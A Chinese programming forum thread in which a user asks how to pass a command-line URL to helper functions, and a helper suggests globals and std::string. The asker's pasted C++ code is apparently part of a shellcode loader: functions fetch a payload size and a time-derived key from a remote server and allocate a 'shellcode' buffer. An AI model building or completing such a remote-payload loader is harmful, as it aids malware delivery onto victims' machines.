鱼C论坛

 找回密码
 立即注册
查看: 3503|回复: 21

[已解决]其他函数模块如何调用主函数argv参数值?

[复制链接]
发表于 2021-4-9 11:01:55 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 我叫学得会 于 2021-4-9 11:04 编辑

源代码为:

而子函数 geturl1(); gethost();等都会用到这个  httpget里的地址。


  1. char httpget[MAX_PATH] = "http://123-456.com/";

  2. int main()
  3. {  
  4.         geturl1();
  5.         gethost();
  6.         return 0;
  7.        
  8. }  
复制代码





请问,主函数改为调用参数,而其他子函数都调用主函数输入进来的这个值去get页面等操作,有什么比较好的方案呢?

  1. //char httpget[MAX_PATH] = "http://123-456.com/";        //改为输入模式。

  2. int main(int argc,char* argv[])
  3. {  
  4.        
  5.         geturl1();
  6.         gethost();
  7.         return 0;
  8.        
  9. }  
复制代码

最佳答案
2021-4-12 15:36:16
本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑

我看了半天你这不是c++么
那多简单啊   直接用string啊
  1. #include <iostream>
  2. #include <string>

  3. using namespace std;

  4. string url;

  5. int main(int argc, char** argv)
  6. {
  7.         if (argc < 2)
  8.                 return -1;

  9.         url.assign(argv[1]);
  10.         printf_s("输入的参数为: %s\n", argv[1]);

  11.         return 0;
  12. }
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2021-4-12 08:51:13 | 显示全部楼层
师傅们,这题不会啊,怎么没人帮帮呀
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 09:15:31 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 09:17 编辑


  1. void geturl1(char* url, int len);
  2. void gethost(char* url, int len);

  3. int main(int argc,char* argv[])
  4. {  
  5.       
  6.         geturl1(argv[1], MAX_PATH);
  7.         gethost(argv[1], MAX_PATH);
  8.         return 0;
  9.       
  10. }
复制代码
传参不就完事了。。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 10:00:59 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 09:15
传参不就完事了。。。。

子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 10:02:42 | 显示全部楼层
我叫学得会 发表于 2021-4-12 10:00
子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?

你还嫌麻烦, 其他方法有啊  你弄个全局变量  参数传进来的时候赋值给全局变量
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 11:00:46 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 10:02
你还嫌麻烦, 其他方法有啊  你弄个全局变量  参数传进来的时候赋值给全局变量

对啊,参数进来设置为全局变量,其他子涵数调用,师傅给个示范啊
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 13:19:38 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 13:24 编辑
  1. char* httpget;

  2. int main(int argc, char** argv)
  3. {  
  4.         if(argc < 2)
  5.                 return -1;

  6.         int len = strlen(argv[1]);                                           //获取参数字符串长度
  7.         httpget = (char*)malloc((len + 1) * sizeof(char));       //申请内存
  8.         if(!httpget)                                                              //申请失败退出程序
  9.                 return -1;

  10.         memset(httpget, 0, len + 1);                                    //初始化内存
  11.         strcpy(httpget, argv[1]);                                          //拷贝字符串

  12.         geturl1();                                                               //执行操作
  13.         gethost();

  14.         free(httpget);                                                         //释放内存
  15.         return 0;
  16.       
  17. }
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 14:35:58 | 显示全部楼层
本帖最后由 我叫学得会 于 2021-4-12 14:42 编辑


大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 14:47:31 | 显示全部楼层
我叫学得会 发表于 2021-4-12 14:35
大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数

111.png

我这是正常的啊
  1. #include <stdio.h>
  2. #include <Windows.h>

  3. int main(int argc, char** argv)
  4. {
  5.         if (argc < 2)
  6.                 return -1;

  7.         printf_s("输入的参数为: %s\n", argv[1]);

  8.         system("pause");
  9.         return 0;
  10. }
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 15:20:20 | 显示全部楼层
  1. std::string GenerateUri()
  2. {
  3.         time_t myt = time(NULL);
  4.         int key = int(int(myt) / 100);
  5.         std::string u = string(obscure) + std::to_string(key);
  6.         return MD5_(u).toStr();
  7. }
  8. bool GetShellCodeSize()
  9. {
  10.        
  11.         string res = Request(httpget,"my/get_size");
  12.         if (res=="")return false;
  13.         shellcode_size = std::atoi(res.c_str());
  14.         shellcode = (char*)malloc(shellcode_size);
  15.         if (shellcode != 0) {
  16.                 return true;
  17.         }
  18.         else {
  19.                 return false;
  20.         }
  21. }

  22. std::string GetKey()
  23. {
  24.         if (GetShellCodeSize() == false) {
  25.                 return "";
  26.         }
  27.        
  28.        
  29.         string res = Request(httpget,GenerateUri());
  30.         return res;
  31. }
复制代码


这里的子函数没有获取上值
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 15:25:45 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 15:27 编辑
我叫学得会 发表于 2021-4-12 15:20
这里的子函数没有获取上值


那你试试不要申请内存,直接赋值

  1. /*int len = strlen(argv[1]);
  2.     url = (char*)malloc(len + 1);
  3.     if(!url)
  4.         return -1;

  5.     memset(httpget, 0, len + 1);
  6.         strcpy(httpget, argv[1]);*/
  7.     httpget = argv[1];
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 15:36:16 | 显示全部楼层    本楼为最佳答案   
本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑

我看了半天你这不是c++么
那多简单啊   直接用string啊
  1. #include <iostream>
  2. #include <string>

  3. using namespace std;

  4. string url;

  5. int main(int argc, char** argv)
  6. {
  7.         if (argc < 2)
  8.                 return -1;

  9.         url.assign(argv[1]);
  10.         printf_s("输入的参数为: %s\n", argv[1]);

  11.         return 0;
  12. }
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 16:52:37 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 15:36
我看了半天你这不是c++么
那多简单啊   直接用string啊

还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 16:55:55 | 显示全部楼层
我叫学得会 发表于 2021-4-12 16:52
还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?


你是怎么调用的.....   我感觉你调用的有问题呢....
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:19:38 | 显示全部楼层
本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑
yuxijian2020 发表于 2021-4-12 16:55
你是怎么调用的.....   我感觉你调用的有问题呢....

  1. std::string Request(std::string target, std::string path) {                                              //发包调用 target 就是我们获得主函数的参数
  2.         DWORD dwSize = 0;
  3.         DWORD dwDownloaded = 0;
  4.         LPSTR pszOutBuffer;
  5.         BOOL  bResults = FALSE;
  6.         BOOL  useSSL = FALSE;
  7.         INTERNET_PORT port;
  8.         HINTERNET  hSession = NULL,
  9.                 hConnect = NULL,
  10.                 hRequest = NULL;
  11.         std::string reqResult;
  12.        
  13.         EdUrlParser* url = EdUrlParser::parseUrl(target);
  14.        
  15.         std::string p = url->port;
  16.         if (p.length() > 1) {
  17.                
  18.                 //std::cout <<p <<"   "<<p.substr(2) << std::endl;
  19.                 port = std::atoi(p.c_str());
  20.                
  21.         }
  22.         if (url->scheme == "https") {
  23.                 useSSL = TRUE;
  24.                 if (url->port == "") {
  25.                         port = 443;
  26.                 }
  27.         }
  28.         else {
  29.                 if (url->port == "")
  30.                         port = 80;
  31.         }




  32.         std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
  33.         std::string strBasePath = url->path;
  34.         char last = strBasePath.back();
  35.         if (strcmp(&last,"/")) {
  36.                 strBasePath += "/";
  37.         }
  38.         strBasePath += path;
  39.         std::cout << "request path:" << strBasePath <<"    port:"<< port<<std::endl;
  40.         std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
  41.         wchar_t* host = (wchar_t*)h.c_str();

  42.         wchar_t* object = (wchar_t*)basePath.c_str();


  43.         // Use WinHttpOpen to obtain a session handle.
  44.         hSession = WinHttpOpen(L"WinHTTP Example/1.0",
  45.                 WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
  46.                 WINHTTP_NO_PROXY_NAME,
  47.                 WINHTTP_NO_PROXY_BYPASS, 0);

  48.         // Specify an HTTP server.
  49.         if (hSession)
  50.                 hConnect = WinHttpConnect(hSession, host,
  51.                         port, 0);

  52.         // Create an HTTP request handle.
  53.         if (hConnect)

  54.                 hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
  55.                         NULL, WINHTTP_NO_REFERER,
  56.                         WINHTTP_DEFAULT_ACCEPT_TYPES,
  57.                         useSSL ? WINHTTP_FLAG_SECURE : 0);

  58. ....Request模块

  59. 下面是调用:
  60. std::string GenerateUri()
  61. {
  62.         time_t myt = time(NULL);
  63.         int key = int(int(myt) / 100);
  64.         std::string u = string(obscure) + std::to_string(key);
  65.         return MD5_(u).toStr();
  66. }
  67. bool GetShellCodeSize()
  68. {
  69.        
  70.         string res = Request(target,"my/get_size");                                           //函数调用 int main 参数里的值
  71.         if (res=="")return false;
  72.         shellcode_size = std::atoi(res.c_str());
  73.         shellcode = (char*)malloc(shellcode_size);
  74.         if (shellcode != 0) {
  75.                 return true;
  76.         }
  77.         else {
  78.                 return false;
  79.         }
  80. }

  81. std::string GetKey()
  82. {
  83.         if (GetShellCodeSize() == false) {
  84.                 return "";
  85.         }
  86.        
  87.        
  88.         string res = Request(target,GenerateUri());                           //获取网页密钥,发包int main 的值
  89.         return res;
  90. }


  91. string target;                                     //  存放 参数 就是请求的url值


  92. int main(int argc,char* argv[])                 //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
  93. {  
  94.        
  95.         if (argc < 2)
  96.         {
  97.                 return -1;
  98.         }
  99.         target.assign(argv[1]);
  100.         Invoke();                                //把琐碎一些列执行模块子函数都封装在这里了
  101.         return 0;
  102.        
  103.        
  104.        
  105. }
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 17:27:12 | 显示全部楼层
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声明一下全局变量)  还有你把全局变量名改一下   全局变量和形参名相同了  很容易弄混淆
而且main函数里我也没看见你调用上面的函数啊  = =
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:31:04 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声 ...

文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:36:05 | 显示全部楼层
我叫学得会 发表于 2021-4-12 17:31
文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:36:45 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声 ...

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 19:35:10 | 显示全部楼层
我叫学得会 发表于 2021-4-12 17:36
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了

那你就把
  1. string target;                                     //  存放 参数 就是请求的url值
复制代码

这一句放到Invoke()函数的定义前面
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-4-30 03:26

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表